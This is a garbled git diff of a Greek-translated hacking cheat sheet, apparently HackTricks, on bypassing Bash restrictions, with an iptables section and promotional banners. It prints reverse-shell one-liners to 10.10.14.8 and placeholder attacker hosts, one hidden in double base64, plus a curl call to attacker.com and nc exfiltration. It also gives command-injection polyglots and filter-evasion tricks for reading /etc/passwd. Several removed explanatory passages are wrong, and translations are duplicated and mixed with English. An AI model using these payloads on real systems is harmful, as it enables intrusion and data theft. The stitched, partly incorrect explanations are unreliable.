- `cd`: Αλλάζει τον τρέχοντα κατάλογο.
- `pwd`: Εμφανίζει τον απόλυτο δρόμο του τρέχοντος καταλόγου.
- `mkdir`: Δημιουργεί έναν νέο φάκελο.
- `rm`: Διαγράφει ένα αρχείο ή έναν φάκελο.
- `cp`: Αντιγράφει ένα αρχείο ή έναν φάκελο.
- `mv`: Μετακινεί ένα αρχείο ή έναν φάκελο.
- `cat`: Εμφανίζει το περιεχόμενο ενός αρχείου.
- `grep`: Αναζητά για ένα συγκεκριμένο κείμενο σε ένα αρχείο ή σε πολλά αρχεία.
- `chmod`: Αλλάζει τα δικαιώματα πρόσβασης ενός αρχείου ή ενός φακέλου.
- `chown`: Αλλάζει τον ιδιοκτήτη ενός αρχείου ή ενός φακέλου.
- `ps`: Εμφανίζει τις ενεργές διεργασίες.
- `top`: Εμφανίζει τις ενεργές διεργασίες και τη χρήση των πόρων του συστήματος.
- `kill`: Τερματίζει μια ενεργή διεργασία.
- `ssh`: Συνδέεται σε έναν απομακρυσμένο υπολογιστή μέσω πρωτοκόλλου SSH.
- `wget`: Κατεβάζει ένα αρχείο από το διαδίκτυο.
- `curl`: Κάνει αιτήσεις HTTP σε έναν διακομιστή.
Αυτές είναι μόνο μερικές από τις πολλές εντολές Bash που είναι διαθέσιμες. Μπορείτε να εξερευνήσετε περισσότερες εντολές και να ανακαλύψετε τις δυνατότητες του Bash κέλυφους για την αποτελεσματική διαχείριση του συστήματος Linux.
## Κέλυφος Bash
```bash
#All bytes inside a file (except 0x20 and 0x00)
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
```
## Iptables
Το Iptables είναι ένα εργαλείο που χρησιμοποιείται για την διαχείριση των κανόνων του firewall σε συστήματα Linux. Με το Iptables μπορείτε να δημιουργήσετε, να τροποποιήσετε και να διαγράψετε κανόνες που ελέγχουν την κίνηση των δεδομένων στο δίκτυο.
### Περιγραφή
Οι βασικές εντολές που χρησιμοποιούνται με το Iptables είναι οι εξής:
- `iptables -L`: Εμφανίζει τους κανόνες του firewall.
- `iptables -A`: Προσθέτει έναν νέο κανόνα στο firewall.
- `iptables -D`: Διαγράφει έναν κανόνα από το firewall.
- `iptables -P`: Ορίζει την προεπιλεγμένη ενέργεια για έναν κανόνα.
Μπορείτε επίσης να χρησιμοποιήσετε διάφορες επιλογές με αυτές τις εντολές για να προσαρμόσετε τη συμπεριφορά του firewall σύμφωνα με τις ανάγκες σας.
Το **iptables** είναι ένα εργαλείο που χρησιμοποιείται για τη διαχείριση των κανόνων πυραμίδας στα συστήματα Linux. Χρησιμοποιείται για την προστασία του συστήματος από επιθέσεις δικτύου, την προώθηση πακέτων, την αποκλεισμό IP και άλλες δικτυακές λειτουργίες.
```bash
#Delete curent rules and chains
iptables --flush
@ -460,22 +327,22 @@ iptables -P OUTPUT ACCEPT
```
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -2,27 +2,27 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο **προηγμένα εργαλεία κοινότητας** στον κόσμο.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Παράκαμψη Συνηθισμένων Περιορισμών
## Παρακάμψεις Κοινών Περιορισμών
### Αντίστροφο Shell
```bash
@ -31,8 +31,6 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
```
### Σύντομο Rev shell
Ένας σύντομος Rev shell είναι ένας τρόπος να αποκτήσετε αντίστροφη κέλυφος σε έναν προορισμό. Αυτό μπορεί να γίνει χρησιμοποιώντας την εντολή `bash -i >& /dev/tcp/<attacker_ip>/<attacker_port> 0>&1`. Αυτή η εντολή θα συνδέσει τον προορισμό με τον επιτιθέμενο, επιτρέποντάς του να εκτελέσει εντολές στον προορισμό από απόσταση.
```bash
#Trick from Dikline
#Get a rev shell with
@ -41,30 +39,6 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|
exec >&0
```
### Παράκαμψη Διαδρομών και απαγορευμένων λέξεων
To bypass restrictions on certain paths or forbidden words, you can try the following techniques:
#### 1. Using alternative paths
If a specific path is restricted, you can try accessing the desired file or directory using alternative paths. For example, instead of using the `/bin/bash` path, you can try using `/usr/bin/bash` or `/usr/local/bin/bash`.
#### 2. Utilizing symbolic links
Symbolic links can be used to bypass restrictions on file paths. By creating a symbolic link to a restricted file or directory, you can access it through the link instead. For example, if `/etc/passwd` is restricted, you can create a symbolic link to it in a different directory and access it through the link.
#### 3. Renaming executables
If a specific executable is restricted, you can try renaming it to bypass the restriction. For example, if `bash` is restricted, you can try renaming it to `sh` or any other allowed executable name.
#### 4. Using environment variables
Environment variables can be used to bypass restrictions on forbidden words. By setting an environment variable with a different name for a restricted word, you can use the alternative name instead. For example, if the word `bash` is restricted, you can set an environment variable with a different name, such as `myshell`, and use it instead.
#### 5. Modifying system configuration
In some cases, you may be able to modify the system configuration to bypass restrictions. This can involve changing the configuration files or settings related to the restrictions. However, be cautious when making system-level changes, as they can have unintended consequences.
Remember to always exercise caution and adhere to ethical hacking practices when attempting to bypass restrictions.
```bash
# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
@ -120,16 +94,6 @@ whoa # This will throw an error
!-1!-2 # This will execute whoami
```
### Παράκαμψη απαγορευμένων κενών
Σε ορισμένες περιπτώσεις, μπορεί να συναντήσετε περιορισμούς που απαγορεύουν τη χρήση κενών χαρακτήρων σε εντολές bash. Ωστόσο, μπορείτε να παρακάμψετε αυτούς τους περιορισμούς χρησιμοποιώντας τις παρακάτω τεχνικές:
1. Χρησιμοποιήστε αποστρόφους: Αντί να χρησιμοποιείτε κενά χαρακτήρες, μπορείτε να τοποθετήσετε την εντολή μέσα σε αποστρόφους. Για παράδειγμα, αντί να γράψετε `ls -l`, μπορείτε να γράψετε `'ls'-l`.
2. Χρησιμοποιήστε αναφορά προς μεταβλητή: Μπορείτε να χρησιμοποιήσετε την αναφορά προς μεταβλητή για να παρακάμψετε τους περιορισμούς. Για παράδειγμα, αντί να γράψετε `ls -l`, μπορείτε να γράψετε `l\${IFS}s -l`.
3. Χρησιμοποιήστε τον χαρακτήρα ASCII: Μπορείτε να χρησιμοποιήσετε τον χαρακτήρα ASCII για να παρακάμψετε τους περιορισμούς. Για παράδειγμα, αντί να γράψετε `ls -l`, μπορείτε να γράψετε `ls$(printf '\x20')-l`.
Αυτές οι τεχνικές σας επιτρέπουν να παρακάμψετε τους περιορισμούς που απαγορεύουν τη χρήση κενών χαρακτήρων σε εντολές bash.
```bash
# {form}
{cat,lol.txt} # cat lol.txt
@ -162,38 +126,16 @@ g # These 4 lines will equal to ping
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
```
### Παράκαμψη αντίστροφης κάθετου και κάθετου
Για να παρακάμψετε τους περιορισμούς της αντίστροφης κάθετης και της κάθετης στο bash, μπορείτε να χρησιμοποιήσετε τις παρακάτω τεχνικές:
- **Παράκαμψη με χρήση διπλού αντίστροφου κάθετου (\\)**: Μπορείτε να χρησιμοποιήσετε διπλό αντίστροφο κάθετο (\\) για να παρακάμψετε την ερμηνεία της αντίστροφης κάθετης ή της κάθετης από το bash. Για παράδειγμα, αν θέλετε να εκτελέσετε την εντολή `ls /etc/passwd`, μπορείτε να την γράψετε ως `ls \/etc\/passwd`.
- **Παράκαμψη με χρήση αντίστροφης κάθετης (|)**: Μπορείτε επίσης να χρησιμοποιήσετε την αντίστροφη κάθετη (|) για να παρακάμψετε την ερμηνεία της αντίστροφης κάθετης ή της κάθετης από το bash. Για παράδειγμα, αν θέλετε να εκτελέσετε την εντολή `ls /etc/passwd`, μπορείτε να την γράψετε ως `ls /etc/passwd | cat`.
### Αναστροφή και κάθετο πέρασμα
```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```
### Παράκαμψη αγωγών
To bypass pipes, you can use the following techniques:
1. **Process substitution**: This technique allows you to use the output of a command as a file. You can use the `<()` syntax to achieve this. For example, instead of `command1 | command2`, you can use `command2 <(command1)`.
2. **Temporary file**: Another way to bypass pipes is by using temporary files. You can redirect the output of a command to a temporary file and then use that file as input for another command. For example, you can use `command1 > temp.txt` to redirect the output of `command1` to a temporary file, and then use `command2 temp.txt` to use the contents of the file as input for `command2`.
3. **Named pipes**: Named pipes, also known as FIFOs, can be used to bypass pipes. A named pipe is a special type of file that acts as a communication channel between processes. You can create a named pipe using the `mkfifo` command, and then use it as input or output for commands. For example, you can use `mkfifo mypipe` to create a named pipe, and then use `command1 > mypipe` to redirect the output of `command1` to the named pipe, and `command2 < mypipe` to use the contents of the named pipe as input for `command2`.
By using these techniques, you can bypass pipes and achieve the desired results in your Linux system.
```bash
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
```
### Παράκαμψη με κωδικοποίηση σε δεκαεξαδική μορφή
Μια από τις τεχνικές παράκαμψης περιορισμών του Bash είναι η κωδικοποίηση σε δεκαεξαδική μορφή. Αυτή η τεχνική επιτρέπει την εισαγωγή εντολών που θα απορριφθούν από το Bash, αλλά θα εκτελεστούν όταν αποκωδικοποιηθούν.
Για να χρησιμοποιήσετε αυτήν την τεχνική, μπορείτε να κωδικοποιήσετε την εντολή σε δεκαεξαδική μορφή χρησιμοποιώντας την εντολή `echo -e` και την ακολουθία `\x`. Για παράδειγμα, αν θέλετε να εκτελέσετε την εντολή `ls`, μπορείτε να την κωδικοποιήσετε ως `\x6c\x73` και να την εκτελέσετε με την εντολή `echo -e "\x6c\x73"`.
Αυτή η τεχνική μπορεί να χρησιμοποιηθεί για να παρακάμψετε περιορισμούς του Bash που αποτρέπουν την εκτέλεση συγκεκριμένων εντολών. Ωστόσο, πρέπει να ληφθεί υπόψη ότι αυτή η τεχνική μπορεί να είναι ευάλωτη σε επιθέσεις μεσολάβησης, καθώς οι κωδικοποιημένες εντολές μπορεί να αναγνωστούν από άλλους χρήστες.
### Παράκαμψη με κωδικοποίηση hex
```bash
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
@ -203,54 +145,16 @@ cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
```
### Παράκαμψη Διευθύνσεων IP
To bypass IP restrictions, you can use various techniques. Here are some commonly used methods:
1. **Proxy Servers**: Use a proxy server to route your traffic through a different IP address. This can help you bypass IP-based restrictions by making it appear as if you are accessing the target from a different location.
2. **VPN (Virtual Private Network)**: A VPN allows you to create a secure connection to another network over the internet. By connecting to a VPN server, you can mask your IP address and bypass IP restrictions.
3. **TOR (The Onion Router)**: TOR is a network of volunteer-operated servers that allows you to browse the internet anonymously. By routing your traffic through multiple TOR nodes, you can hide your IP address and bypass IP restrictions.
4. **SSH Tunnels**: SSH tunnels can be used to forward traffic from a local port to a remote server. By setting up an SSH tunnel to a server with a different IP address, you can bypass IP restrictions.
5. **Proxychains**: Proxychains is a tool that allows you to run any program through a proxy server. By configuring Proxychains to use a proxy server with a different IP address, you can bypass IP restrictions.
Remember, bypassing IP restrictions may be illegal or against the terms of service of the target system. Always ensure you have proper authorization before attempting any bypass techniques.
### Παράκαμψη IPs
```bash
# Decimal IPs
127.0.0.1 == 2130706433
```
### Εξαγωγή δεδομένων βάσει χρόνου
Η εξαγωγή δεδομένων βάσει χρόνου είναι μια τεχνική που χρησιμοποιείται για να αποκτηθούν δεδομένα από ένα σύστημα με περιορισμένες δυνατότητες. Αυτή η τεχνική εκμεταλλεύεται την ικανότητα του συστήματος να εκτελεί εντολές με βάση τον χρόνο.
Για να εκτελέσετε αυτήν την τεχνική, μπορείτε να χρησιμοποιήσετε την εντολή `sleep` για να καθυστερήσετε την εκτέλεση μιας εντολής για ένα συγκεκριμένο χρονικό διάστημα. Μπορείτε να συνδυάσετε αυτήν την εντολή με άλλες εντολές, όπως η `echo`, για να αποστείλετε δεδομένα σε έναν εξωτερικό διακομιστή.
Για παράδειγμα, η παρακάτω εντολή θα καθυστερήσει την εκτέλεση για 5 δευτερόλεπτα και στη συνέχεια θα αποστείλει το κείμενο "Hello" σε έναν εξωτερικό διακομιστή:
```bash
sleep 5; echo "Hello" | nc <server_ip> <server_port>
```
Με αυτόν τον τρόπο, μπορείτε να εκτελέσετε εντολές και να αποστείλετε δεδομένα από ένα σύστημα με περιορισμένες δυνατότητες, παρακάμπτοντας τους περιορισμούς του συστήματος.
### Εξαγωγή δεδομένων με βάση τον χρόνο
```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```
### Λήψη χαρακτήρων από μεταβλητές περιβάλλοντος
Μπορείτε να ανακτήσετε χαρακτήρες από μεταβλητές περιβάλλοντος στο Bash χρησιμοποιώντας την εντολή `echo` και τον τελεστή εκχώρησης `$(...)`. Αυτό μπορεί να είναι χρήσιμο όταν έχετε περιορισμένη πρόσβαση στο σύστημα και θέλετε να ανακτήσετε πληροφορίες από μεταβλητές περιβάλλοντος.
Για παράδειγμα, μπορείτε να ανακτήσετε τον πρώτο χαρακτήρα από τη μεταβλητή περιβάλλοντος `PATH` χρησιμοποιώντας την εντολή:
```bash
echo ${PATH:0:1}
```
Αυτό θα εμφανίσει τον πρώτο χαρακτήρα της μεταβλητής περιβάλλοντος `PATH`.
Μπορείτε να προσαρμόσετε τη σύνταξη `${VARNAME:start:length}` για να ανακτήσετε οποιονδήποτε αριθμό χαρακτήρων από μια μεταβλητή περιβάλλοντος. Αντικαταστήστε το `VARNAME` με το όνομα της μεταβλητής περιβάλλοντος που θέλετε να ανακτήσετε, το `start` με τη θέση του πρώτου χαρακτήρα που θέλετε να ανακτήσετε και το `length` με τον αριθμό των χαρακτήρων που θέλετε να ανακτήσετε.
```bash
echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/
@ -261,8 +165,8 @@ echo ${PATH:0:1} #/
### Ενσωματωμένες εντολές
Στην περίπτωση που δεν μπορείτε να εκτελέσετε εξωτερικές συναρτήσεις και έχετε μόνο πρόσβαση σε ένα **περιορισμένο σύνολο ενσωματωμένων εντολών για να αποκτήσετε RCE**, υπάρχουν μερικά χρήσιμα κόλπα για να το κάνετε. Συνήθως **δεν θα μπορείτε να χρησιμοποιήσετε όλες** τις **ενσωματωμένες εντολές**, οπότε θα πρέπει να **γνωρίζετε όλες τις επιλογές σας** για να προσπαθήσετε να παρακάμψετε τη φυλακή. Ιδέα από τον [**devploit**](https://twitter.com/devploit).\
Πρώτα απ' όλα ελέγξτε όλες τις [**ενσωματωμένες εντολές του κελύφους**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Έπειτα, εδώ έχετε μερικές **συστάσεις**:
Σε περίπτωση που δεν μπορείτε να εκτελέσετε εξωτερικές λειτουργίες και έχετε πρόσβαση μόνο σε ένα **περιορισμένο σύνολο ενσωματωμένων για να λάβετε RCE**, υπάρχουν μερικά χρήσιμα κόλπα για να το κάνετε. Συνήθως **δεν θα μπορείτε να χρησιμοποιήσετε όλες** τις **ενσωματωμένες**, οπότε θα πρέπει **να γνωρίζετε όλες τις επιλογές** σας για να προσπαθήσετε να παρακάμψετε τη φυλακή. Ιδέα από το [**devploit**](https://twitter.com/devploit).\
Καταρχάς ελέγξτε όλες τις [**ενσωματωμένες εντολές κελύφους**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Έπειτα εδώ έχετε μερικές **συστάσεις**:
```bash
# Get list of builtins
declare builtins
@ -314,56 +218,22 @@ chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!
```
### Πολυγλωσσική εντολή εισχώρησης
Η πολυγλωσσική εντολή εισχώρησης είναι μια τεχνική που χρησιμοποιείται για να παρακάμψει τους περιορισμούς του bash. Με αυτήν την τεχνική, μπορείτε να εκτελέσετε εντολές σε ένα σύστημα Linux που έχει εφαρμοστεί αυστηρή πολιτική ασφαλείας για το bash.
Για να επιτευχθεί αυτό, χρησιμοποιούνται πολυγλωσσικές εντολές που μπορούν να εκτελεστούν από το bash, αλλά επίσης είναι έγκυρες και σε άλλες γλώσσες προγραμματισμού. Αυτό επιτρέπει στον επιτιθέμενο να παρακάμψει τους περιορισμούς του bash και να εκτελέσει εντολές που δεν θα ήταν δυνατόν να εκτελεστούν απευθείας.
Η πολυγλωσσική εντολή εισχώρησης είναι μια ισχυρή τεχνική που μπορεί να χρησιμοποιηθεί για να αποκτήσετε πρόσβαση σε ευαίσθητες πληροφορίες ή να εκτελέσετε κακόβουλο κώδικα σε ένα σύστημα Linux. Είναι σημαντικό να είστε προσεκτικοί και να χρησιμοποιείτε αυτήν την τεχνική με προσοχή, καθώς μπορεί να προκαλέσει σοβαρές ασφαλειακές παραβιάσεις.
### Πολύγλωτη εντολή εισβολής
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
### Παράκαμψη πιθανών regexes
Ορισμένες φορές, κατά την εκτέλεση ενός επιτυχημένου επιθέσεων, μπορεί να συναντήσετε περιορισμούς που βασίζονται σε regular expressions (regexes). Ωστόσο, μπορείτε να παρακάμψετε αυτούς τους περιορισμούς χρησιμοποιώντας τις παρακάτω τεχνικές:
- Αλλαγή του χαρακτήρα καταλήξεως: Μπορείτε να αλλάξετε τον χαρακτήρα καταλήξεως που χρησιμοποιείται στο regex για να παρακάμψετε τον περιορισμό. Για παράδειγμα, αν το regex περιορίζει την είσοδο σε αρχεία με κατάληξη `.txt`, μπορείτε να αλλάξετε την κατάληξη σε κάτι άλλο, όπως `.php`.
- Χρήση μη εκφράσεων: Μπορείτε να χρησιμοποιήσετε μη εκφράσεις (negative lookaheads) για να παρακάμψετε τον περιορισμό. Αυτό σας επιτρέπει να αναζητήσετε μια συμβολοσειρά που δεν πληροί το regex που χρησιμοποιείται για τον περιορισμό. Για παράδειγμα, αν το regex περιορίζει την είσοδο σε αρχεία που δεν περιέχουν τη λέξη "password", μπορείτε να χρησιμοποιήσετε μια μη εκφραση για να βρείτε αρχεία που περιέχουν τη λέξη "password".
- Χρήση μη εκφράσεων με αρνητική αναφορά: Μπορείτε επίσης να χρησιμοποιήσετε μη εκφράσεις με αρνητική αναφορά (negative lookbehinds) για να παρακάμψετε τον περιορισμό. Αυτό σας επιτρέπει να αναζητήσετε μια συμβολοσειρά που δεν προηγείται από μια συγκεκριμένη συμβολοσειρά που περιορίζεται από το regex. Για παράδειγμα, αν το regex περιορίζει την είσοδο σε αρχεία που δεν ξεκινούν με το γράμμα "a", μπορείτε να χρησιμοποιήσετε μια μη εκφραση με αρνητική αναφορά για να βρείτε αρχεία που ξεκινούν με το γράμμα "a".
Αυτές οι τεχνικές μπορούν να σας βοηθήσουν να παρακάμψετε περιορισμούς που βασίζονται σε regexes και να επιτύχετε τον στόχο σας κατά την εκτέλεση μιας επίθεσης.
### Αναστροφή πιθανών regexes
```bash
# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`
```
### Απόκρυψη Bash
Ο Bashfuscator είναι ένα εργαλείο που χρησιμοποιείται για την απόκρυψη του κώδικα Bash, προκειμένου να δυσκολεύει την ανίχνευση και την ανάλυση του. Αυτό το εργαλείο μετατρέπει τον κώδικα Bash σε μια μορφή που είναι δυσανάγνωστη για τον ανθρώπινο αναγνώστη, αλλά εξακολουθεί να εκτελείται από τον διερμηνέα Bash.
Ο Bashfuscator χρησιμοποιεί διάφορες τεχνικές για να αποκρύψει τον κώδικα, όπως την αντικατάσταση μεταβλητών με ασήμαντα ονόματα, την προσθήκη περιττών χαρακτήρων και την αναδιάταξη των εντολών. Αυτό καθιστά τον κώδικα δυσανάγνωστο για τους αναλυτές και τα εργαλεία ανίχνευσης.
Ο Bashfuscator μπορεί να χρησιμοποιηθεί για να δυσκολέψει την ανίχνευση κακόβουλου κώδικα Bash, καθώς και για να προστατεύσει τον κώδικα από ανεπιθύμητη πρόσβαση. Ωστόσο, είναι σημαντικό να σημειωθεί ότι η χρήση του Bashfuscator για κακόβουλους σκοπούς είναι παράνομη και απαράδεκτη.
### Bashfuscator
```bash
# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'
```
### RCE με 5 χαρακτήρες
Μια από τις πιο αποτελεσματικές τεχνικές για την εκτέλεση απομακρυσμένου κώδικα (RCE) σε ένα σύστημα Linux είναι η χρήση μόλις 5 χαρακτήρων. Αυτή η τεχνική εκμεταλλεύεται μια ευπάθεια στο bash shell, που επιτρέπει την εκτέλεση κώδικα από απομακρυσμένες εντολές.
Για να εκτελέσετε RCE με 5 χαρακτήρες, ακολουθήστε τα παρακάτω βήματα:
1. Ανοίξτε ένα τερματικό και εκτελέστε την εντολή `bash`.
2. Εισάγετε την εντολή `0<&196;exec 196<>/dev/tcp/your-ip/your-port; sh <&196 >&196 2>&196`.
3. Αντικαταστήστε το `your-ip` με τη διεύθυνση IP του επιθυμητού στόχου και το `your-port` με τη θύρα που θέλετε να χρησιμοποιήσετε για τη σύνδεση.
Αυτή η εντολή θα δημιουργήσει μια σύνδεση TCP με τον στόχο και θα εκτελέσει το shell script στον στόχο. Με αυτόν τον τρόπο, μπορείτε να αποκτήσετε απομακρυσμένη πρόσβαση και να εκτελέσετε εντολές στον στόχο.
Αυτή η τεχνική είναι ιδιαίτερα χρήσιμη όταν έχετε περιορισμένη πρόσβαση σε ένα σύστημα Linux και θέλετε να εκτελέσετε κώδικα ή να αποκτήσετε πλήρη έλεγχο. Ωστόσο, πρέπει να ληφθούν υπόψη οι νομικές και ηθικές πτυχές πριν χρησιμοποιήσετε αυτήν την τεχνική.
```bash
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution
@ -411,20 +281,6 @@ ln /f*
## to it in the current folder
```
### RCE με 4 χαρακτήρες
Μια από τις πιο εντυπωσιακές επιθέσεις είναι η δυνατότητα εκτέλεσης απομακρυσμένου κώδικα (RCE) με μόλις 4 χαρακτήρες. Αυτή η επίθεση εκμεταλλεύεται τις περιορισμένες δυνατότητες του bash shell και μπορεί να χρησιμοποιηθεί για να εκτελέσει κακόβουλο κώδικα σε ένα σύστημα.
